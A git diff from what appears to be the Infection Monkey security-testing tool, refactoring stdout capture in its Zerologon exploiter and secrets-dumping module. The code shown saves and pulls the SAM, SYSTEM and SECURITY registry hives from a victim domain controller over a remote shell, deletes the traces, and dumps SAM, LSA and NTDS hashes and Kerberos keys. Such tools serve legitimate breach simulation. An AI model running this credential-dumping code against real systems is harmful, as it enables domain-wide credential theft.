diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index beb46fbc8..7dd4429be 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - output_captor = StdoutCapture() - output_captor.capture_stdout_output() - try: - # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + with StdoutCapture() as output_captor: + try: + # Save HKLM keys on victim. + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') - # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + # Get HKLM keys locally (can't run these together because it needs to call do_get()). + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') - # Delete saved keys on victim. - remote_shell.onecmd( - 'del /f system.save sam.save security.save') + # Delete saved keys on victim. + remote_shell.onecmd( + 'del /f system.save sam.save security.save') - wmiexec.close() + wmiexec.close() - return True + return True - except Exception as e: - LOG.info(f"Exception occured: {str(e)}") + except Exception as e: + LOG.info(f"Exception occured: {str(e)}") - finally: - info = output_captor.get_captured_stdout_output() - LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + finally: + info = output_captor.get_captured_stdout_output() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index bc5a83187..491418687 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -98,131 +98,129 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - output_captor = StdoutCapture() - output_captor.capture_stdout_output() + with StdoutCapture() as output_captor: + dumped_secrets = '' - dumped_secrets = '' + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage. + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) - try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': - self.__is_remote = False - self.__use_VSS_method = True - if self.__system_hive: - local_operations = LocalOperations(self.__system_hive) - bootkey = local_operations.getBootKey() - if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage. - self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: - import binascii - bootkey = binascii.unhexlify(self.__bootkey) - - else: - self.__is_remote = True - bootkey = None - try: + self.__is_remote = True + bootkey = None try: - self.connect() + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + LOG.debug( + 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + else: + raise + + self.__remote_ops = RemoteOperations( + self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options.exec_method) + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes. + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they - # will work - LOG.debug( - 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') else: - raise + LOG.error('RemoteOperations failed: %s' % str(e)) - self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host) - self.__remote_ops.setExecMethod(self.__options.exec_method) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: - self.__remote_ops.enableRegistry() - bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes. - self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() - except Exception as e: - self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + # If RemoteOperations succeeded, then we can extract SAM and LSA. + if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes( + SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + except Exception as e: + LOG.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote) + self.__LSA_secrets.dumpCachedHashes() + self.__LSA_secrets.dumpSecrets() + except Exception as e: + LOG.debug(traceback.print_exc()) + LOG.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() else: - LOG.error('RemoteOperations failed: %s' % str(e)) + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file - # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + ) try: - if self.__is_remote is True: - SAM_file_name = self.__remote_ops.saveSAM() - else: - SAM_file_name = self.__sam_hive - - self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote) - self.__SAM_hashes.dump() - except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__is_remote is True: - SECURITY_file_name = self.__remote_ops.saveSECURITY() - else: - SECURITY_file_name = self.__security_hive - - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote) - self.__LSA_secrets.dumpCachedHashes() - self.__LSA_secrets.dumpSecrets() + self.__NTDS_hashes.dump() except Exception as e: LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. - if self.__is_remote is True: - if self.__use_VSS_method and self.__remote_ops is not None: - NTDS_file_name = self.__remote_ops.saveNTDS() - else: - NTDS_file_name = None - else: - NTDS_file_name = self.__ntds_file - - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - ) - try: - self.__NTDS_hashes.dump() - except Exception as e: - LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - LOG.error(e) - if self.__use_VSS_method is False: - LOG.error( - 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - except (Exception, KeyboardInterrupt) as e: - LOG.debug(traceback.print_exc()) - LOG.error(e) - if self.__NTDS_hashes is not None: - if isinstance(e, KeyboardInterrupt): - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - try: + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + LOG.error(e) + if self.__use_VSS_method is False: + LOG.error( + 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() - except Exception: - pass - finally: - dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys - return dumped_secrets + except (Exception, KeyboardInterrupt) as e: + LOG.debug(traceback.print_exc()) + LOG.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except Exception: + pass + finally: + dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys + return dumped_secrets def cleanup(self): LOG.debug('Cleaning up...') diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py index 024c4c977..898bd6a7e 100644 --- a/monkey/infection_monkey/utils/capture_output.py +++ b/monkey/infection_monkey/utils/capture_output.py @@ -3,20 +3,16 @@ import sys class StdoutCapture: - def __init__(self): - _orig_stdout = None - _new_stdout = None - - def capture_stdout_output(self) -> None: + def __enter__(self) -> None: self._orig_stdout = sys.stdout self._new_stdout = io.StringIO() sys.stdout = self._new_stdout + return self def get_captured_stdout_output(self) -> str: - self._reset_stdout_to_original() self._new_stdout.seek(0) - info = self._new_stdout.read() - return info + output = self._new_stdout.read() + return output - def _reset_stdout_to_original(self) -> None: + def __exit__(self, _, __, ___) -> None: sys.stdout = self._orig_stdout